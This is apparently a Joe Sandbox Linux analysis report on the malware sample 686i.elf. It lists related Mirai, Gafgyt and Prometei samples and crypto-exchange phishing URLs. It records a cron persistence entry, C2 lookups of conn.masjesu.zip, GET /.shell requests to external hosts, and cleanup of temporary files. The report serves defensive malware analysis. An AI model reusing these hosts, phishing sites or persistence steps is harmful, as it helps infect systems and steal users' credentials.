	gigab.arm4.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.x86.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.ppc.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
	gigab.sh4.elf	Get hash	malicious	Gafgyt	Browse	37.44.238.66
INIT7CH	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	FederalmipsAgent.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	Sakura.sh.bin	Get hash	malicious	Unknown	Browse	109.202.202.202
	GwRba1mTFR.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
AMAZON-02US	na.elf	Get hash	malicious	Prometei	Browse	44.247.155.67
	na.elf	Get hash	malicious	Prometei	Browse	44.247.155.67
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	https://kukuinlogan.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	52.222.232.144
	https://official-site-coinbase-pro-digital-asse.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	52.222.232.47
	https://trezor-io-start-r---starting-auth.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	52.222.232.99
	https://kucoinrxlogine.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	52.222.232.144
	https://u-sso-coinbasepros-auth.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	52.222.232.39
	https://en--sso---coinbasepro---authh---cdn.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	52.222.232.47
	na.elf	Get hash	malicious	Prometei	Browse	44.247.155.67

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/var/spool/cron/crontabs/tmp.T9Zbwl

Download File

Process:	/usr/bin/crontab
File Type:	ASCII text
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.101450896525499
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1KmREJOBFQLvIg4iGMQ5UYLtCFt3eQTbHvn:8QjHig8Mg4UeHLUeQTbHv
MD5:	BCBEEF97EAF46D4CD746DE187D4AAAD4
SHA1:	3EFAD843AF2E6381EE79597B6D6B8E4EB2216D61
SHA-256:	9C9B5BF8F25A61B74DDAEB3EEF59B340CB2B31FF462873B6FB730AFAC37B1B79
SHA-512:	F921D6BA0A5D8B25B3994106197E3480D793C1324DA579FAEF925A69C73EC765008652DAA4CC6A02E3482A1B9DEE659320756F212516ECCA611A6475E13D7DEA
Malicious:	true
Reputation:	low
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (- installed on Tue Mar 18 20:02:25 2025).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)./15 * * * /usr/lib/ld-unix.so.2.

Static File Info

General

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
Entropy (8bit):	6.40356591720279
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	686i.elf
File size:	89'481 bytes
MD5:	913fa2eba99db0a4e78a73ab6dec9da6
SHA1:	a0229e60357b056aa9c89cc8cb1032e4039116b5
SHA256:	af894b758b8edd357ce97f18694b405ca93c6c1e091f6d7457887530edc7c3ef
SHA512:	934aa2e22c2e2347f9b28aa9d53201f1dfadf0ce469a4c7118c1d1dd2235491c16328134e2103a01a25ba94a5f372a99a10b8221b43520257c00c939fd24318b
SSDEEP:	1536:kFPlxndf22h/xxaH333j3kaN1W7N+YRApCM59G7sgQ+bEpnnnOps:kFPlxndf22h/xwXnTkai7MYRApCg9dgs
TLSH:	A7932A4BFA02CBB3D88317F502AB976A5730BD3A592B8E45F3687CB8BB215C87114355
File Content Preview:	.ELF....................h...4....2......4. ...(......................!...!...............!..........\|...`-..........Q.td............................U..S.......[1...h........[]...$.............U......=`....t..1....$......$.......u........t...$...........`.

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 21
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 02:02:25.342233896 CET	443	39256	34.249.145.219	192.168.2.23
Mar 19, 2025 02:02:25.342735052 CET	39256	443	192.168.2.23	34.249.145.219
Mar 19, 2025 02:02:25.347465992 CET	443	39256	34.249.145.219	192.168.2.23
Mar 19, 2025 02:02:26.064747095 CET	43928	443	192.168.2.23	91.189.91.42
Mar 19, 2025 02:02:27.591706991 CET	44388	443	192.168.2.23	37.44.238.88
Mar 19, 2025 02:02:27.591747046 CET	443	44388	37.44.238.88	192.168.2.23
Mar 19, 2025 02:02:27.591799974 CET	44388	443	192.168.2.23	37.44.238.88
Mar 19, 2025 02:02:27.591851950 CET	53394	80	192.168.2.23	37.44.238.88
Mar 19, 2025 02:02:27.596637964 CET	80	53394	37.44.238.88	192.168.2.23
Mar 19, 2025 02:02:27.596694946 CET	53394	80	192.168.2.23	37.44.238.88
Mar 19, 2025 02:02:27.596715927 CET	53394	80	192.168.2.23	37.44.238.88
Mar 19, 2025 02:02:27.602663040 CET	80	53394	37.44.238.88	192.168.2.23
Mar 19, 2025 02:02:29.239422083 CET	80	53394	37.44.238.88	192.168.2.23
Mar 19, 2025 02:02:29.239517927 CET	53394	80	192.168.2.23	37.44.238.88
Mar 19, 2025 02:02:29.244429111 CET	80	53394	37.44.238.88	192.168.2.23
Mar 19, 2025 02:02:42.190457106 CET	42516	80	192.168.2.23	109.202.202.202
Mar 19, 2025 02:02:46.285897017 CET	43928	443	192.168.2.23	91.189.91.42
Mar 19, 2025 02:03:27.240255117 CET	43928	443	192.168.2.23	91.189.91.42
Mar 19, 2025 02:03:29.288072109 CET	44388	443	192.168.2.23	37.44.238.88
Mar 19, 2025 02:03:29.288161993 CET	443	44388	37.44.238.88	192.168.2.23
Mar 19, 2025 02:03:29.288244009 CET	44388	443	192.168.2.23	37.44.238.88
Mar 19, 2025 02:03:34.291826963 CET	51798	443	192.168.2.23	37.44.238.92
Mar 19, 2025 02:03:34.291929007 CET	443	51798	37.44.238.92	192.168.2.23
Mar 19, 2025 02:03:34.291992903 CET	51798	443	192.168.2.23	37.44.238.92
Mar 19, 2025 02:03:34.292037010 CET	36138	80	192.168.2.23	37.44.238.92
Mar 19, 2025 02:03:34.296832085 CET	80	36138	37.44.238.92	192.168.2.23
Mar 19, 2025 02:03:34.296930075 CET	36138	80	192.168.2.23	37.44.238.92
Mar 19, 2025 02:03:34.296930075 CET	36138	80	192.168.2.23	37.44.238.92
Mar 19, 2025 02:03:34.301678896 CET	80	36138	37.44.238.92	192.168.2.23
Mar 19, 2025 02:03:42.716706038 CET	80	36138	37.44.238.92	192.168.2.23
Mar 19, 2025 02:03:42.717134953 CET	36138	80	192.168.2.23	37.44.238.92
Mar 19, 2025 02:03:42.722160101 CET	80	36138	37.44.238.92	192.168.2.23
Mar 19, 2025 02:04:30.488691092 CET	443	51798	37.44.238.92	192.168.2.23
Mar 19, 2025 02:04:30.488976002 CET	51798	443	192.168.2.23	37.44.238.92
Mar 19, 2025 02:04:30.489053011 CET	443	51798	37.44.238.92	192.168.2.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 02:02:27.522531033 CET	47164	53	192.168.2.23	1.1.1.1
Mar 19, 2025 02:02:27.591515064 CET	53	47164	1.1.1.1	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 02:02:27.522531033 CET	192.168.2.23	1.1.1.1	0x8581	Standard query (0)	conn.masjesu.zip	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 02:02:27.591515064 CET	1.1.1.1	192.168.2.23	0x8581	No error (0)	conn.masjesu.zip		37.44.238.92	A (IP address)	IN (0x0001)	false
Mar 19, 2025 02:02:27.591515064 CET	1.1.1.1	192.168.2.23	0x8581	No error (0)	conn.masjesu.zip		37.44.238.88	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

37.44.238.88

37.44.238.92

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	53394	37.44.238.88	80

Timestamp	Bytes transferred	Direction	Data
Mar 19, 2025 02:02:27.596715927 CET	75	OUT	GET /.shell HTTP/1.1 Host: 37.44.238.88 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	36138	37.44.238.92	80

Timestamp	Bytes transferred	Direction	Data
Mar 19, 2025 02:03:34.296930075 CET	75	OUT	GET /.shell HTTP/1.1 Host: 37.44.238.92 Connection: close

System Behavior

Analysis Process: dash PID: 6254, Parent PID: 4334

General

Start time (UTC):	01:02:24
Start date (UTC):	19/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6254, Parent PID: 4334

General

Start time (UTC):	01:02:24
Start date (UTC):	19/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.snUMMXyMK3 /tmp/tmp.9Qhnz4zPF4 /tmp/tmp.6fTXHNmO0K
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: dash PID: 6255, Parent PID: 4334

General

Start time (UTC):	01:02:24
Start date (UTC):	19/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6255, Parent PID: 4334

General

Start time (UTC):	01:02:24
Start date (UTC):	19/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.snUMMXyMK3 /tmp/tmp.9Qhnz4zPF4 /tmp/tmp.6fTXHNmO0K
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: 686i.elf PID: 6279, Parent PID: 6181

General

Start time (UTC):	01:02:25
Start date (UTC):	19/03/2025
Path:	/tmp/686i.elf
Arguments:	/tmp/686i.elf
File size:	89481 bytes
MD5 hash:	913fa2eba99db0a4e78a73ab6dec9da6

Process Activities

Process Forked

Thread Sleep

Chronological Activities

Analysis Process: 686i.elf PID: 6280, Parent PID: 6279

General

Start time (UTC):	01:02:25
Start date (UTC):	19/03/2025
Path:	/tmp/686i.elf
Arguments:	-
File size:	89481 bytes
MD5 hash:	913fa2eba99db0a4e78a73ab6dec9da6

File Activities

File Moved

Process Activities

Process Forked

Chronological Activities

Analysis Process: 686i.elf PID: 6281, Parent PID: 6280

General

Start time (UTC):	01:02:25
Start date (UTC):	19/03/2025
Path:	/tmp/686i.elf
Arguments:	-
File size:	89481 bytes
MD5 hash:	913fa2eba99db0a4e78a73ab6dec9da6

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 6281, Parent PID: 6280

General

Start time (UTC):	01:02:25
Start date (UTC):	19/03/2025
Path:	/bin/sh
Arguments:	sh -c "crontab -l"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 6282, Parent PID: 6281

General

Start time (UTC):	01:02:25
Start date (UTC):	19/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: crontab PID: 6282, Parent PID: 6281

General

Start time (UTC):	01:02:25
Start date (UTC):	19/03/2025
Path:	/usr/bin/crontab
Arguments:	crontab -l
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: 686i.elf PID: 6283, Parent PID: 6280

General

Start time (UTC):	01:02:25
Start date (UTC):	19/03/2025
Path:	/tmp/686i.elf
Arguments:	-
File size:	89481 bytes
MD5 hash:	913fa2eba99db0a4e78a73ab6dec9da6

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 6283, Parent PID: 6280

General

Start time (UTC):	01:02:25
Start date (UTC):	19/03/2025
Path:	/bin/sh
Arguments:	sh -c "crontab -"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 6284, Parent PID: 6283

General

Start time (UTC):	01:02:25
Start date (UTC):	19/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: crontab PID: 6284, Parent PID: 6283

General

Start time (UTC):	01:02:25
Start date (UTC):	19/03/2025
Path:	/usr/bin/crontab
Arguments:	crontab -
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

File Activities

File Opened

File Read

File Written

File Moved

Permission Modified

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: 686i.elf PID: 6285, Parent PID: 6279

General

Start time (UTC):	01:02:26
Start date (UTC):	19/03/2025
Path:	/tmp/686i.elf
Arguments:	-
File size:	89481 bytes
MD5 hash:	913fa2eba99db0a4e78a73ab6dec9da6

File Activities

File Opened

File Read

Process Activities

Process Forked

Thread Sleep

Chronological Activities

Analysis Process: 686i.elf PID: 6286, Parent PID: 6285

General

Start time (UTC):	01:02:26
Start date (UTC):	19/03/2025
Path:	/tmp/686i.elf
Arguments:	-
File size:	89481 bytes
MD5 hash:	913fa2eba99db0a4e78a73ab6dec9da6

File Activities

File Opened

File Read

Directory Enumerated

Process Activities

Signal Sent

Thread Sleep

Chronological Activities

Analysis Process: 686i.elf PID: 6287, Parent PID: 6285

General

Start time (UTC):	01:02:26
Start date (UTC):	19/03/2025
Path:	/tmp/686i.elf
Arguments:	-
File size:	89481 bytes
MD5 hash:	913fa2eba99db0a4e78a73ab6dec9da6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 686i.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/spool/cron/crontabs/tmp.T9Zbwl

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

System Behavior

Analysis Process: dash PID: 6254, Parent PID: 4334

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6254, Parent PID: 4334

General

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: dash PID: 6255, Parent PID: 4334

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Linux Analysis Report
686i.elf